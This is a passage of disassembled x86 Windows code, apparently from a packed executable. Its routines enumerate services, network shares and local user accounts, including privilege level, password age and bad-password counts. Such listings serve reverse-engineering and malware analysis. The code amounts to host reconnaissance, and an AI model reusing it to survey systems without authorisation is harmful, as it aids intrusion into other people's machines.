loc_418D7A: ; CODE XREF: sub_418D2A+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D84: ; CODE XREF: sub_418D2A+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D8E: ; CODE XREF: sub_418D2A+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418D98: ; CODE XREF: sub_418D2A+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DA2: ; CODE XREF: sub_418D2A+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_418DD1
dec ecx
jz short loc_418DCA
dec ecx
jz short loc_418DC3
dec ecx
jnz loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_418E47
; ---------------------------------------------------------------------------
loc_418DC3: ; CODE XREF: sub_418D2A+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DCA: ; CODE XREF: sub_418D2A+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD1: ; CODE XREF: sub_418D2A+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DD8: ; CODE XREF: sub_418D2A+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418DDF: ; CODE XREF: sub_418D2A+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
jz short loc_418E42
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_418E55 ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_418E96[ecx]
jmp off_418E6E[ecx*4] ; switch jump
loc_418E03: ; DATA XREF: .packed:off_418E6Eo
push offset aTheSpecifiedDa ; jumptable 00418DFC case 7
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E0A: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceDepe ; jumptable 00418DFC case 17
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E11: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceDe_0 ; jumptable 00418DFC case 10
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E18: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHasB ; jumptable 00418DFC case 0
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E1F: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheSpecified_0 ; jumptable 00418DFC case 2
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E26: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceCoul ; jumptable 00418DFC case 11
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E2D: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHa_0 ; jumptable 00418DFC case 14
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E34: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheRequested_1 ; jumptable 00418DFC case 3
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E3B: ; CODE XREF: sub_418D2A+D2j
; DATA XREF: .packed:off_418E6Eo
push offset aTheServiceHasN ; jumptable 00418DFC case 4
jmp short loc_418E47
; ---------------------------------------------------------------------------
loc_418E42: ; CODE XREF: sub_418D2A+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_418E47: ; CODE XREF: sub_418D2A+41j
; sub_418D2A+4Bj ...
push offset dword_4DB390
call sub_41C266
pop ecx
pop ecx
jmp short loc_418E68
; ---------------------------------------------------------------------------
loc_418E55: ; CODE XREF: sub_418D2A+36j
; sub_418D2A+89j ...
push eax ; default
; jumptable 00418DFC cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset dword_4DB390
call sub_41C266
add esp, 0Ch
loc_418E68: ; CODE XREF: sub_418D2A+129j
mov eax, offset dword_4DB390
retn
sub_418D2A endp
; ---------------------------------------------------------------------------
off_418E6E dd offset loc_418E18 ; DATA XREF: sub_418D2A+D2r
dd offset loc_418E1F ; jump table for switch statement
dd offset loc_418E34
dd offset loc_418E3B
dd offset loc_418E03
dd offset loc_418E11
dd offset loc_418E26
dd offset loc_418E2D
dd offset loc_418E0A
dd offset loc_418E55
byte_418E96 db 0, 9, 1, 2 ; DATA XREF: sub_418D2A+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418EA8 proc near ; CODE XREF: sub_401ACD+44D6p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4CB9D8 ; OpenSCManagerA
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_418EE0: ; CODE XREF: sub_418EA8+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4CB9A4 ; EnumServicesStatusA
test eax, eax
jnz short loc_418F1A
call dword_427094 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_418FCE
loc_418F1A: ; CODE XREF: sub_418EA8+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_418FC5
lea esi, [ebp+var_188]
loc_418F2B: ; CODE XREF: sub_418EA8+117j
mov eax, [esi+8]
dec eax
jz short loc_418F74
dec eax
jz short loc_418F6D
dec eax
jz short loc_418F66
dec eax
jz short loc_418F5F
dec eax
jz short loc_418F58
dec eax
jz short loc_418F51
dec eax
jz short loc_418F4A
push offset aUnknown_0 ; " Unknown"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F4A: ; CODE XREF: sub_418EA8+99j
push offset aPaused_0 ; " Paused"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F51: ; CODE XREF: sub_418EA8+96j
push offset aPausing ; " Pausing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F58: ; CODE XREF: sub_418EA8+93j
push offset aContinuing ; " Continuing"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F5F: ; CODE XREF: sub_418EA8+90j
push offset aRunning ; " Running"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F66: ; CODE XREF: sub_418EA8+8Dj
push offset aStoping ; " Stoping"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F6D: ; CODE XREF: sub_418EA8+8Aj
push offset aStarting ; " Starting"
jmp short loc_418F79
; ---------------------------------------------------------------------------
loc_418F74: ; CODE XREF: sub_418EA8+87j
push offset aStopped ; " Stopped"
loc_418F79: ; CODE XREF: sub_418EA8+A0j
; sub_418EA8+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_418F2B
loc_418FC5: ; CODE XREF: sub_418EA8+77j
cmp [ebp+var_8], ebx
jnz loc_418EE0
loc_418FCE: ; CODE XREF: sub_418EA8+6Cj
push [ebp+var_C]
call dword_4CB8DC ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_418EA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418FE5 proc near ; CODE XREF: sub_401ACD:loc_406064p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_41907F
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41900E
dec eax
jnz short loc_41905F
push edi
push 0
call sub_4191B8
pop ecx
pop ecx
jmp short loc_41905B
; ---------------------------------------------------------------------------
loc_41900E: ; CODE XREF: sub_418FE5+18j
cmp [ebp+arg_8], 0
jnz short loc_41904D
push 24h
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_41904D
push 57h
pop eax
loc_419025: ; CODE XREF: sub_418FE5+78j
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB64C
push off_439520[eax*4]
push offset unk_439BCC
push esi
call sub_41C266
add esp, 14h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41904D: ; CODE XREF: sub_418FE5+2Dj
; sub_418FE5+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_41910C
add esp, 0Ch
loc_41905B: ; CODE XREF: sub_418FE5+27j
test eax, eax
jnz short loc_419025
loc_41905F: ; CODE XREF: sub_418FE5+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_4DB64C
push off_439524[eax*4]
push offset dword_439BB0
push esi
call sub_41C266
add esp, 10h
jmp short loc_41909F
; ---------------------------------------------------------------------------
loc_41907F: ; CODE XREF: sub_418FE5+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB64C
lea eax, [eax+eax*2]
push off_439520[eax*4]
push offset unk_439B8C
push esi
call sub_41C266
add esp, 0Ch
loc_41909F: ; CODE XREF: sub_418FE5+66j
; sub_418FE5+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_418FE5 endp
; =============== S U B R O U T I N E =======================================
sub_4190A5 proc near ; CODE XREF: sub_41A3C6+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_4190B2
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_4190B2: ; CODE XREF: sub_4190A5+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_427188
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4DB84C, 1
mov ebp, eax
jnz short loc_4190EF
or byte_4DB84C, 1
lea eax, [ebp+1]
push eax
call sub_41D9A5
pop ecx
mov dword_4DB5EC, eax
loc_4190EF: ; CODE XREF: sub_4190A5+32j
push esi
push esi
push ebp
push dword_4DB5EC
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4DB5EC
pop edi
pop ebp
pop ebx
pop esi
retn
sub_4190A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41910C proc near ; CODE XREF: sub_418FE5+6Ep
; sub_41A6EA+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_41C990
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419177
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4CB8D8
pop edi
leave
retn
sub_41910C endp
; =============== S U B R O U T I N E =======================================
sub_419177 proc near ; CODE XREF: sub_41910C+Ap
; sub_41910C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419184
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419184: ; CODE XREF: sub_419177+9j
push ebx
push esi
mov esi, dword_4270E8
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_41D9A5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419177 endp
; =============== S U B R O U T I N E =======================================
sub_4191B8 proc near ; CODE XREF: sub_418FE5+20p
; sub_41A3C6+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4CB8B0
pop esi
retn
sub_4191B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4191DB proc near ; CODE XREF: sub_401ACD+45AEp
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419177
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_419214: ; CODE XREF: sub_4191DB+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4CB928
mov ebx, eax
cmp ebx, esi
jz short loc_419277
cmp ebx, 0EAh
jz short loc_419277
push ebx
push ebx
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_210]
push offset unk_439C18
push eax
call sub_41C266
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_4192E4
; ---------------------------------------------------------------------------
loc_419277: ; CODE XREF: sub_4191DB+5Dj
; sub_4191DB+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_4192DB
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419285: ; CODE XREF: sub_4191DB+FCj
push dword ptr [esi+10h]
call dword_4CB8CC ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_41929C
mov eax, offset aNo ; "No"
loc_41929C: ; CODE XREF: sub_4191DB+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419285
xor esi, esi
loc_4192DB: ; CODE XREF: sub_4191DB+A2j
push [ebp+var_4]
call dword_4CBA74
loc_4192E4: ; CODE XREF: sub_4191DB+9Aj
cmp ebx, 0EAh
jz loc_419214
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_4191DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4192FC proc near ; CODE XREF: sub_401ACD:loc_4060EDp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_4193A1
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_41933E
dec eax
jz short loc_419333
dec eax
jnz short loc_419359
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_419443
add esp, 14h
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419333: ; CODE XREF: sub_4192FC+1Dj
push ebx
push edi
call sub_419422
pop ecx
pop ecx
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_41933E: ; CODE XREF: sub_4192FC+1Aj
cmp [ebp+arg_8], edi
jz short loc_419352
push [ebp+arg_8]
push ebx
push edi
call sub_4193C8
add esp, 0Ch
jmp short loc_419355
; ---------------------------------------------------------------------------
loc_419352: ; CODE XREF: sub_4192FC+45j
push 57h
pop eax
loc_419355: ; CODE XREF: sub_4192FC+35j
; sub_4192FC+40j ...
cmp eax, edi
jnz short loc_419379
loc_419359: ; CODE XREF: sub_4192FC+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB850
push off_439524[eax*4]
push offset unk_439CD0
push esi
call sub_41C266
add esp, 10h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_419379: ; CODE XREF: sub_4192FC+5Bj
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_4DB850
push off_439520[eax*4]
push offset unk_439CA0
push esi
call sub_41C266
add esp, 14h
jmp short loc_4193C1
; ---------------------------------------------------------------------------
loc_4193A1: ; CODE XREF: sub_4192FC+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_4DB850
lea eax, [eax+eax*2]
push off_439520[eax*4]
push offset unk_439C78
push esi
call sub_41C266
add esp, 0Ch
loc_4193C1: ; CODE XREF: sub_4192FC+7Bj
; sub_4192FC+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_4192FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4193C8 proc near ; CODE XREF: sub_4192FC+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov edi, eax
call sub_419177
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419177
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4CB8BC
pop edi
leave
retn
sub_4193C8 endp
; =============== S U B R O U T I N E =======================================
sub_419422 proc near ; CODE XREF: sub_4192FC+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419177
push [esp+8+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
push eax
push esi
call dword_4CB8AC
pop esi
retn
sub_419422 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419443 proc near ; CODE XREF: sub_4192FC+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419177
push [ebp+arg_4]
mov esi, eax
call sub_419177
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4CBA3C
test eax, eax
mov [ebp+arg_0], eax
jnz loc_4197EB
mov eax, [ebp+var_4]
test eax, eax
jz loc_419826
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_41C266
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419562
dec eax
jz short loc_41955B
dec eax
jz short loc_419554
mov eax, offset aUnknown ; "Unknown"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419554: ; CODE XREF: sub_419443+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_41955B: ; CODE XREF: sub_419443+105j
mov eax, offset aUser_1 ; "User"
jmp short loc_419567
; ---------------------------------------------------------------------------
loc_419562: ; CODE XREF: sub_419443+102j
mov eax, offset aGuest ; "Guest"
loc_419567: ; CODE XREF: sub_419443+10Fj
; sub_419443+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_41C266
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_41C266
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_409869
add esp, 20h
pop edi
pop ebx
jmp short loc_419817
; ---------------------------------------------------------------------------
loc_4197EB: ; CODE XREF: sub_419443+35j
push eax
lea eax, [ebp+var_204]
push offset unk_439CF0
push eax
call sub_41C266
push 0
lea eax, [ebp+var_204]
push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_409869
add esp, 20h
loc_419817: ; CODE XREF: sub_419443+3A6j
cmp [ebp+var_4], 0
jz short loc_419826
push [ebp+var_4]
call dword_4CBA74
loc_419826: ; CODE XREF: sub_419443+40j
; sub_419443+3D8j
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_419443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41982C proc near ; CODE XREF: sub_401ACD+463Ap
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_419177
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 18h
loc_41986B: ; CODE XREF: sub_41982C+135j
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_4CB944
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_4198CC
cmp eax, 0EAh
jz short loc_4198CC
push eax
push eax
call sub_4199AC
pop ecx
push eax
lea eax, [ebp+var_218]
push offset unk_439EE0
push eax
call sub_41C266
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 24h
jmp short loc_419947
; ---------------------------------------------------------------------------
loc_4198CC: ; CODE XREF: sub_41982C+62j
; sub_41982C+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz loc_41995A
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_419947
loc_4198DE: ; CODE XREF: sub_41982C+EDj
cmp edi, esi
jz short loc_41991D
